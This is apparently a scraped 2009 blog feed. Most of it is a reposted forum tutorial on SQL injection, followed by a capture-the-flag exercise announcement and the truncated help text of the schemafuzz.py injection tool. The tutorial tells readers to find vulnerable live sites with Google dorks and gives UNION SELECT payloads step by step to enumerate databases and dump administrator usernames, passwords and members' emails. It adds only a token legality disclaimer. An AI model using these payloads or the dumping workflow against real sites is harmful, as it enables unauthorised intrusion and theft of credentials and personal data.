Sites&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;First you need to know what makes a site vulnerable to SQL Injection before you can find and vulnerable sites. &lt;br /&gt;&lt;br /&gt;The most common reason that a site is vulnerable to SQL Injection attacks in because the owner/coder didn't use the built in MySQL feature 'mysql_real_escape_string()'. The purpose of this function is to sanitize or remove special characters from an SQL query. The most common side-effect is the simple Username/Password exploit ' or 1='1. Most website administrators today use this function along with stripslashes() or addslashes() to further sanitize the data.&lt;br /&gt;&lt;br /&gt;Well since I gave you a very basic reason for why certain sites are vulnerable we will move onto finding some vulnerable sites to play with.&lt;br /&gt;&lt;br /&gt;When talking about finding sites to inject you will hear the term â€œdorkâ€ a lot, what this refers to is a google search term targeted at finding vulnerable websites. A â€œgoogle dorkâ€ uses the built in google functions inurl:, or allinurl: to search for websites that have certain strings in their URL or website address, an example of a google dork is: inurl:index.php?id=1, entering this string into the google search engine would return all of the sites in google's cache with the string index.php?id=1 in their URL, Ex: http://www.example.com/index.php?id=1&lt;br /&gt;&lt;br /&gt;Here are some lists of â€œdorksâ€ to use:&lt;br /&gt;http://www.hackforums.net/showthread.php?tid=76925&lt;br /&gt;http://www.hackforums.net/showthread.php?tid=71313&lt;br /&gt;http://go-blog.web.id/?p=3&lt;br /&gt;http://sql-injection-tools.blogspot.com/...hafiq.html&lt;br /&gt;&lt;br /&gt;Now that we know what a google dork is we can start finding vulnerable sites. To be vulnerable the site has to have a GET parameter in the URL: index.php?id=1, id=1 being the GET parameter 'gets' the 1 'id' from the SQL database(Understand? Good.) &lt;br /&gt;&lt;br /&gt;So you are going to go to http://www.google.com,http://www.blackle.com, or http://www.dogpile.com and search for your selected dork. When you get your list you can start checking for vulnerabilities. To do this the most common way is to add a back-tick after one of the integers in the URL&lt;br /&gt;Example: http://www.example.com/index.php?id=1'&lt;br /&gt;&lt;br /&gt;Now there are many ways for a site to show you that it is vulnerable the most common are errors:&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;You have an error in your SQL Syntax&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Warning: mysql_fetch_array():&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Warning: mysql_fetch_assoc():&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Warning: mysql_numrows():&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Warning: mysql_num_rows():&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Warning: mysql_result():&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Warning: mysql_preg_match():&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you receive any of these errors when you enter the ' after the number then chances are the site is vulnerable to SQL Injection attacks to some extent, but that isn't the only way to see if a site is vulnerable, the biggest overlooked error is when a main part of the site just simply disappears, such as a news article or a body of text on the main site. If this happens then it is likely that the site is vulnerable also. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;3. Getting Number of Columns&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;After you find your vulnerable site the first step you need to take is to find the number of columns in the table that is in use. There are a couple of ways that people do this, personally I use the &lt;span style="color: orange;"&gt;ORDER BY&lt;/span&gt; statement, there is also&lt;span style="color: orange;"&gt; GROUP BY&lt;/span&gt; which accomplishes the same thing, but it's just habit. A lot of people use the string &lt;span style="color: orange;"&gt;AND 1=0 &lt;/span&gt;before their queries, most of the time this is just a waste of time to type this out, the only time you need this is if you try &lt;span style="color: orange;"&gt;ORDER BY 300--&lt;/span&gt; and you don't receive an error, then you would add the and 1=0 to your query. &lt;br /&gt;&lt;br /&gt;To find number of columns you start with ORDER BY 1, if it doesn't error then you are good to go, sometimes you will get a syntax error when doing ORDER BY 1 that's why it is important to start there, if you get the syntax error your best bet is to move on to another site. If you don't get an error I always go to ORDER BY 300 to see if I will get an error there, sometimes you could go on for years and never get an error, there can't be 300 columns in the database so you should always get an error. After getting the error on 300 it is up to you how you want to find the number of columns, personally I jump around out of habit I usually do something like this: &lt;br /&gt;Code:&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=1 &lt;span style="color: orange;"&gt;ORDER BY 1--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;no error&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=1 &lt;span style="color: orange;"&gt;ORDER BY 300--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;error&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=1 &lt;span style="color: orange;"&gt;ORDER BY 10--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;error&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=1 &lt;span style="color: orange;"&gt;ORDER BY 5--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;no error&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=1 &lt;span style="color: orange;"&gt;ORDER BY 6--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;error&lt;br /&gt;After this you know that your website has 5 columns because it errors on everything above ORDER BY 5, and doesn't error on anything below ORDER BY 5.&lt;br /&gt;&lt;br /&gt;Note on comments: Comments are not always necessary when injecting a website, although sometimes they are, by comments I am referring to the â€“ at the end of the URL.&lt;br /&gt;Possible comments to use are --, /*, /**/, or simply nothing at the end.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;4. Getting MySQL Version&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Now that we have the number of columns you are going to want to get the version of the database you are working on, this is an important step, because any version lower than 5 you will have to guess table names and column names. I don't recommend working on a database lower than version 5 for beginners, you should get aquanted with SQL Injection first. Before we can get the version you have to find a visible column number. This is where the Injection part really starts. To do this you will use a SELECT statement and the UNION statement. Most people don't understand that these are two completely different SQL statements, the reason you use UNION SELECT is because you are already SELECTing from the database when you are simply visiting the site. &lt;br /&gt;For example: &lt;span style="background-color: #444444;"&gt;http://www.example.com&lt;span style="color: #9fc5e8;"&gt;/index.php?id=1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;What this URL is telling the database is &lt;span style="background-color: #20124d;"&gt;SELECT * FROM &lt;span style="color: magenta;"&gt;'tablenamehere'&lt;/span&gt; WHERE id=&lt;span style="color: magenta;"&gt;'1'&lt;/span&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now when we add out UNION into that URL we are adding two SQL statements together since our example website has 5 columns this is what our query would look like:&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=1&lt;span class="Apple-style-span" style="color: yellow;"&gt;+UNION+SELECT+1,2,3,4,5--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The website should return normal after doing this, if it doesn't and it tells you something like â€œForbiddenâ€ or some other error, then the website doesn't support union statements and you need to move on. If it doesn't error then add a negative sign after the equals sign like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=&lt;span class="Apple-style-span" style="color: yellow;"&gt;-&lt;/span&gt;1+&lt;span class="Apple-style-span" style="color: yellow;"&gt;UNION+SELECT+1,2,3,4,5--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There is a reason for this people, I've been asked many times why you do this, the reason is when you send this query to the database you are sending something like: &lt;br /&gt;&lt;span style="background-color: #20124d;"&gt;SELECT * FROM &lt;span style="color: magenta;"&gt;'tablenamehere' &lt;/span&gt;WHERE id=&lt;span style="color: magenta;"&gt;'-1'&lt;/span&gt; AND SELECT &lt;span style="color: magenta;"&gt;1,2,3,4,5 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There isn't a -1 in the id column so the database will return a blank section of the page, but since we have our other SELECT statement in there it will return numbers back in the data's place. Those are our visible columns. For our example we'll say we got back the numbers 2 and 3 so these are the numbers that we can retrieve data from. To get our database version there are two ways either &lt;span style="color: orange;"&gt;@@version&lt;/span&gt; or &lt;span style="color: orange;"&gt;version()&lt;/span&gt;. To use them do this:&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1+UNION+SELECT+1,&lt;span class="Apple-style-span" style="color: yellow;"&gt;@@version&lt;/span&gt;,3,4,5--&lt;/span&gt;&lt;br /&gt;or&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1+UNION+SELECT+1,&lt;span class="Apple-style-span" style="color: yellow;"&gt;concat(version())&lt;/span&gt;,3,4,5--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you get an error like â€œIllegal mix of coallations when using @@version you simple have to convert it to latin from UTF8 like so:&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1+UNION+SELECT+1,&lt;span class="Apple-style-span" style="color: yellow;"&gt;convert(@@version using latin1)&lt;/span&gt;,3,4,5--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;NOTE: Notice that we completely replace the number 2 with our query, something like union select 1,concat(version()),2,3,4,5-- will not work.&lt;br /&gt;&lt;br /&gt;Well if it worked you know now the version of the MySQL database in use you will see something like 5.0.13-log, or 4.0.0.1-delta, there are countless versions and types but all we need to focus on is the first number if it 5 then we are good to go, if it is 4 then if you are new you should move on.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;5. Getting Database Names&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;I haven't seen this covered on any papers on SQL Injection so I will include it because it is an important part of SQL Injection. For novice SQL Injectors ever started to inject a website then find no useful data such as. usernames/passwords? Most likely because the current database in use for the site only holds data like news articles and the like. This is where getting the different database names is important. In version of MySQL higher than 5 there will always be a database named 'information_schema' and most of the time a database named 'test', neither of these hold data that you will need to know, but yet the information_schema database is the reason that injection v5+ databases is so easy. &lt;br /&gt;&lt;br /&gt;To get list of databases do this:&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1+UNION+SELECT+1,&lt;span style="color: orange;"&gt;group_concat(schema_name)&lt;/span&gt;,3,4,5+ FROM+&lt;span style="color: orange;"&gt;information_schema.schemata--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Now where you saw the database version pop up earlier you will see the names of all of the different databases we will say for our example we got back something like this:&lt;br /&gt;&lt;span style="background-color: #20124d; color: red;"&gt;information_schema,exampledb,exampledb2,test&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you want to know what the database in use right now do this:&lt;br /&gt;Code:&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 &lt;strong&gt;UNION SELECT&lt;/strong&gt; 1,&lt;span style="color: orange;"&gt;concat(database())&lt;/span&gt;,3,4,5--&lt;/span&gt;&lt;br /&gt;We'll say we got back 'exampledb'. &lt;br /&gt;&lt;br /&gt;From now on it is a good idea to have a text editor open like notepad/gEdit to save this information for later use. I always have notepad open when I am injecting a site, with a template like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Databases:&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Tables:&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #666666;"&gt;Columns:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So that I can quickly copy and paste in. In my opinion this is a good habit to get into.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;6. Getting Database User&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Not really necessary but good to know use user():&lt;br /&gt;Code:&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 UNION SELECT 1,&lt;span style="color: orange;"&gt;concat(user())&lt;/span&gt;,3,4,5--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;7. Getting Table Names&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;I'm going to go a little more in-depth than most tutorials you'll see on the internet here because they aren't very thorough, most will just tell you how to get the tables of the current database but I am going to show you how to get table names from selected databases.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;6. To get table names of current database:&lt;/strong&gt;&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 UNION SELECT 1,&lt;span style="color: orange;"&gt;group_concat(table_name)&lt;/span&gt;,3,4,5 from &lt;/span&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="color: orange;"&gt;information_schema.tables&lt;/span&gt; WHERE &lt;span style="color: orange;"&gt;table_schema=database()--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You will see a list of table names come out, for our example we will say we got:&lt;br /&gt;&lt;span style="background-color: #444444; color: red;"&gt;news, images, ads, links&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Wow that looks useful huh? That is information we can get from just looking at the website, so now it's time to get tables from our other database we found earlier 'exampledb2' This is where your best friend the hex converter will come in handy. To get tables from selected databases you have to hex the name. &lt;br /&gt;So we convert exampledb2 to 6578616d706c65646232. Always rember to add the 0x in front of the hexed name to tell the database that it is hex encoded and it need to decode it to get the right name. So our database name ends up being 0x6578616d706c65646232. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Online text-to-hex converters:&lt;/strong&gt;&lt;br /&gt;http://www.motobit.com/util/binary-file-...string.asp&lt;br /&gt;http://www.string-functions.com/string-hex.aspx&lt;br /&gt;http://home2.paulschou.net/tools/xlate/&lt;br /&gt;&lt;br /&gt;Now for the query:&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 UNION SELECT 1,&lt;span style="color: orange;"&gt;group_concat(table_name)&lt;/span&gt;,3,4,5 FROM &lt;span style="color: orange;"&gt;information_schema.tables&lt;/span&gt; WHERE &lt;span style="color: orange;"&gt;table_schema=&lt;span style="color: red;"&gt;0x6578616d706c65646232&lt;/span&gt;--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Notice we change&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: red;"&gt;'database()'&lt;/span&gt; to our hexed database name &lt;span style="color: red;"&gt;'0x6578616d706c65646232'&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;For our example we'll say we got back:&lt;br /&gt;&lt;span style="background-color: #666666; color: red;"&gt;newsletter, members, administrators&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That's the good stuff, normally you wouldn't have found this information and just moved onto another site. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;8. Getting Column Names&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;This is exactly like getting table names you just change &lt;span style="color: orange;"&gt;table_name&lt;/span&gt; to &lt;span style="color: orange;"&gt;column_name&lt;/span&gt; and &lt;span style="color: orange;"&gt;information_schema.tables&lt;/span&gt; to &lt;span style="color: orange;"&gt;information_schema.columns&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 UNION SELECT&amp;nbsp;1,&lt;span style="color: orange;"&gt;group_concat(column_name)&lt;/span&gt;,3,4,5 FROM &lt;span style="color: orange;"&gt;information_schema.columns&lt;/span&gt; WHERE &lt;span style="color: orange;"&gt;table_schema=database()--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That's gonna give you every column name on the database but you don't want the columns for 'exampledb' remember because there wasn't any useful info in there, you want just the column names from 'exampledb2' because there were member info and admin info in that database. So now you open you Text-to-hex again and hex your database again so 'exampledb2' becomes ' 0x6578616d706c65646232'&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 UNION SELECT 1,&lt;span style="color: orange;"&gt;group_concat(column_name)&lt;/span&gt;,3,4,5 from &lt;span style="color: orange;"&gt;information_schema.columns&lt;/span&gt; WHERE &lt;span style="color: orange;"&gt;table_schema= 0x6578616d706c65646232--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;That will only return the column names from that selected database. We'll say we got back:&lt;br /&gt;&lt;span style="background-color: #666666; color: red;"&gt;email, username, password, first_name, last_name&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you remember the table names from exampledb2, which you should because you always paste into notepad right?, you can get the administrators username, password, email address, and full name. &lt;br /&gt;To get this you would do:&lt;br /&gt;Code:&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 union select 1,&lt;span style="color: orange;"&gt;group_concat(&lt;span style="color: red;"&gt;username&lt;/span&gt;,0x3a,&lt;span style="color: red;"&gt;password&lt;/span&gt;,0x3a,&lt;span style="color: red;"&gt;email&lt;/span&gt;,0x3a,&lt;span style="color: red;"&gt;first_name&lt;/span&gt;,0x3a,&lt;span style="color: red;"&gt;last_name&lt;/span&gt;) &lt;/span&gt;,3,4,5&amp;nbsp;FROM &lt;span style="color: orange;"&gt;&lt;span style="color: red;"&gt;exampledb2.administrators&lt;/span&gt;--&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;0x3a being the hex value for a colon ':' so that you can easily seperate the information. Sometimes this wont work though, sometimes you have to hex the databasename.tablename (not alot but sometimes) so in that case it would be:&lt;br /&gt;Code:&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 union select 1,&lt;span style="color: orange;"&gt;group_concat(&lt;span style="color: red;"&gt;username&lt;/span&gt;,0x3a,&lt;span style="color: red;"&gt;password&lt;/span&gt;)&lt;/span&gt;,3,4,5 from &lt;span style="color: red;"&gt;0x6578616d706c656462322e61646d696e6973747261746f7273&lt;/span&gt;--&lt;/span&gt;&lt;br /&gt;Which will then give you what you're looking for.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;9. LIMIT What is it and why do I need to know it?&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Ever found a database that is full of users/emails/anything else that you want but can't get it all because the website just wont display them all at one go? Well, this is where you need the LIMIT statement. &lt;br /&gt;&lt;br /&gt;For our example we will say we want the emails from the exampledb2.newsletter table, the only column in that table is 'email', probably never be that easy but hey this is an example right? There are 500 emails in this database and when we group_concat(email) from the database we only get back 20 results and 1 half cut-off like random.douchebag@gma so how do we get the rest of the 480 emails? This is where your perseverance will come into play, if you want it that bad you would use the LIMIT statement to get them since we already got the first 20 results we'll start at 21 to get the full email address that is cut off:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;span style="background-color: #444444;"&gt;http://www.example.com/index.php?id=-1 union select 1,concat(email),3,4,5 from exampledb2.newsletter limit 21,9999999--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note when using limit: You can't use group_concat() it will error, drop the group and just use concat().&lt;br /&gt;&lt;br /&gt;The 999999 can be any number higher than the row count in the database I just use that because it is easy. You would do this increasing your number by 1 until you get an error or just a blank area where the email addresses have been popping up. Ex: limit 22,9999999--,limit 23,9999999--,limit 24,9999999--&lt;br /&gt;Yes, it will take a long time to do this, there are tools used to dump databases though, most common used is SQLI Helper, thought this tool is flawed too because it won't increase the last number when limiting if needed. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;10. End Notes&lt;/strong&gt;&lt;br /&gt;Well, that's it. I do hope that I helped at least a few of you. I know it was a long read for those of you that actually went through it all, but I think at least half of the people who read this will learn something new. On another note SQL Injection can be fun to do, defacing websites even more fun sometimes, but you need to know that it is illegal. Here are some things to keep in mind.&lt;br /&gt;[qoute]&lt;br /&gt;Hacking is covered under law Title 18: Crimes and Criminal Procedure: Part 1: Crimes: Chapter 47: Fraud and False Statements: Section 1030: Fraud and related activity in connection with computers. The federal punishment for hacking into computers ranges from a fine or imprisonment for no more than one year to a fine and imprisonment for no more than twenty years. This wide range of punishment depends upon the seriousness of the criminal activity and what damage the hacker has done. &lt;br /&gt;[/qoute]&lt;br /&gt;&lt;br /&gt;The Ten Commandments of Computer Ethics by the Computer Ethics Institute:&lt;br /&gt;1. Thou shalt not use a computer to harm other people.&lt;br /&gt;2. Thou shalt not interfere with other people's computer work.&lt;br /&gt;3. Thou shalt not snoop around in other people's computer files.&lt;br /&gt;4. Thou shalt not use a computer to steal.&lt;br /&gt;5. Thou shalt not use a computer to bear false witness.&lt;br /&gt;6. Thou shalt not copy or use proprietary software for which you have not paid.&lt;br /&gt;7. Thou shalt not use other people's computer resources without authorization or proper compensation.&lt;br /&gt;8. Thou shalt not appropriate other people's intellectual output.&lt;br /&gt;9. Thou shalt think about the social consequences of the program you are writing or the system you are designing.&lt;br /&gt;10. Thou shalt always use a computer in ways that insure consideration and respect for your fellow humans.&lt;br /&gt;&lt;br /&gt;If I helped, post some feedback, if I didn't PM me with your question and if it warrants an answer I will reply and add that into the tutorial. &lt;br /&gt;&lt;br /&gt;Don't forget to RATE my thread. 5 Stars would be nice.&lt;br /&gt;Last minute edition:&lt;br /&gt;Difinitive SQL E-Book Collection&lt;br /&gt;Contents:&lt;br /&gt;The Visibooks Guide to MySQL Basics&lt;br /&gt;Sybex - Mastering MySQL 4&lt;br /&gt;Sams - Teach Yourself Mysql in 10 Minutes&lt;br /&gt;Sams - MySQL Database Design and Tuning&lt;br /&gt;Sams - MySQL Tutorial&lt;br /&gt;Sams - MySQL Phrasebook - Essential Code and Commands&lt;br /&gt;Sams - MySQL Crash Course&lt;br /&gt;Sams - MySQL Certification Study Guide&lt;br /&gt;Sams - MySQL 2nd Edtion&lt;br /&gt;Peachpit Press - Visual Quickstart Guide -MySQL&lt;br /&gt;O'Reilly - MySQL Pocket Refernce&lt;br /&gt;O'Reilly - MySQL in a Nutshell&lt;br /&gt;O'Reilly - MySQL Cookbook&lt;br /&gt;O'Reilly - MySQL and mSQL&lt;br /&gt;O'Reilly - Managing and Using MySQL&lt;br /&gt;O'Reilly - High Performance MySQL&lt;br /&gt;MySQL Press - MySQL Administrator's Guide and Language Reference&lt;br /&gt;McGraw Hill - MySQL Essential Skills&lt;br /&gt;&lt;br /&gt;Download Link&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;#!/usr/bin/laden -w&lt;br /&gt;use Weapons::Of qw(Mass Destruction);&lt;br /&gt;if ( $home eq "Cave M_of_Nowhere") {&lt;br /&gt;print "I HAZ DE URANIUM\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hackforums.net/showthread.php?tid=94738" target="_blank"&gt;http://www.hackforums.net/showthread.php?tid=94738&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8376371945449740564?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8376371945449740564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8376371945449740564' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8376371945449740564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8376371945449740564'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/07/rcoms-sqli-tutorial-remix.html' title='rCom&apos;s SQLi Tutorial { reMix }'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-105817758278224848</id><published>2009-06-02T20:14:00.000-07:00</published><updated>2009-06-02T20:17:26.323-07:00</updated><title type='text'>LAMPSecurity.org Capture the Flag Exercise</title><content type='html'>Hello,&lt;br /&gt;&lt;br /&gt;I'm happy to announce that the second installment (cryptically called&lt;br /&gt;CTF5) of LAMPSecurity.org's capture the flag series of exercises is now&lt;br /&gt;available. This edition is novel in that it includes a 0-day exploit&lt;br /&gt;that can be used (indirectly) to gain root. This is a training exercise&lt;br /&gt;released in support of the educational mission of LAMPSecurity.org. The&lt;br /&gt;exercise is modeled after many of the exercises that are presented in&lt;br /&gt;expensive commercial training courses, except it's free, of course.&lt;br /&gt;Unlike tools like OWASP's WebGoat, LAMPSecurity.org's capture the flag&lt;br /&gt;exercise consists of a full, vulnerable, virtual machine (VMWare's free&lt;br /&gt;Player is required). This allows users to explore vulnerabilities at&lt;br /&gt;every level of the LAMP stack. The first exercise includes an "attack"&lt;br /&gt;VM as well, with tools pre-installed (where possible). It also includes&lt;br /&gt;over 60 pages of step-by-step documentation so no prior experience is&lt;br /&gt;necessary (although the documentation only outlines one of several&lt;br /&gt;routes to root compromise). The exercise is designed to educate system&lt;br /&gt;administrators and developers on some common dangers and&lt;br /&gt;mis-configurations facing Linux,Apache,MySQL, PHP (LAMP) applications.&lt;br /&gt;Further details, including the documentation, are available at&lt;br /&gt;&lt;a href="http://lampsecurity.org/capture-the-flag-5" target="_blank"&gt;http://lampsecurity.org/capture-the-flag-5&lt;/a&gt;. The vulnerable virtual&lt;br /&gt;machine and attack image are available from SourceForge at&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/lampsecurity/" target="_blank"&gt;https://sourceforge.net/projects/lampsecurity/&lt;/a&gt;. Constructive feedback is&lt;br /&gt;of course welcome. Thank you and enjoy.&lt;br /&gt;&lt;br /&gt;- -- &lt;br /&gt;Justin C. Klein Keane&lt;br /&gt;http://www.MadIrish.net&lt;br /&gt;http://www.LAMPSecurity.org&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-105817758278224848?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/105817758278224848/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=105817758278224848' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/105817758278224848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/105817758278224848'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/06/lampsecurityorg-capture-flag-exercise.html' title='LAMPSecurity.org Capture the Flag Exercise'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-6925024062995671188</id><published>2009-05-27T13:12:00.000-07:00</published><updated>2009-08-23T13:30:28.692-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>schemafuzz.py by rsauron</title><content type='html'>&lt;font color=royalblue&gt;schemafuzz.py -h&lt;/font&gt;&lt;br /&gt;Usage: ./schemafuzz.py [options]                          rsauron[@]gmail[dot]com darkc0de.com&lt;br /&gt; Modes:&lt;br /&gt; Define: --dbs     Shows all databases user has access too.               MySQL v5+&lt;br /&gt; Define: --schema  Enumerate Information_schema Database.                 MySQL v5+&lt;br /&gt; Define: --full    Enumerates all databases information_schema table      MySQL v5+&lt;br /&gt; Define: --dump    Extract information from a Database, Table and Column. MySQL v4+&lt;br /&gt; Define: --fuzz    Fuzz Tables and Columns.                               MySQL v4+&lt;br /&gt; Define: --findcol Finds Columns length of a SQLi                         MySQL v4+&lt;br /&gt; Define: --info    Gets MySQL server configuration only.                  MySQL v4+&lt;br /&gt;&lt;br /&gt; Required:&lt;br /&gt; Define: -u        URL "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4"&lt;br /&gt;&lt;br /&gt; Mode dump and schema options:&lt;br /&gt; Define: -D        "database_name"&lt;br /&gt; Define: -T        "table_name"&lt;br /&gt; Define: -C        "column_name,column_name..."&lt;br /&gt;&lt;br /&gt; Optional:&lt;br /&gt; Define: -p        "127.0.0.1:80 or proxy.txt"&lt;br /&gt; Define: -o        "ouput_file_name.txt"        Default is schemafuzzlog.txt&lt;br /&gt; Define: -r        row number to start at&lt;br /&gt; Define: -v        Verbosity off option. Will not display row 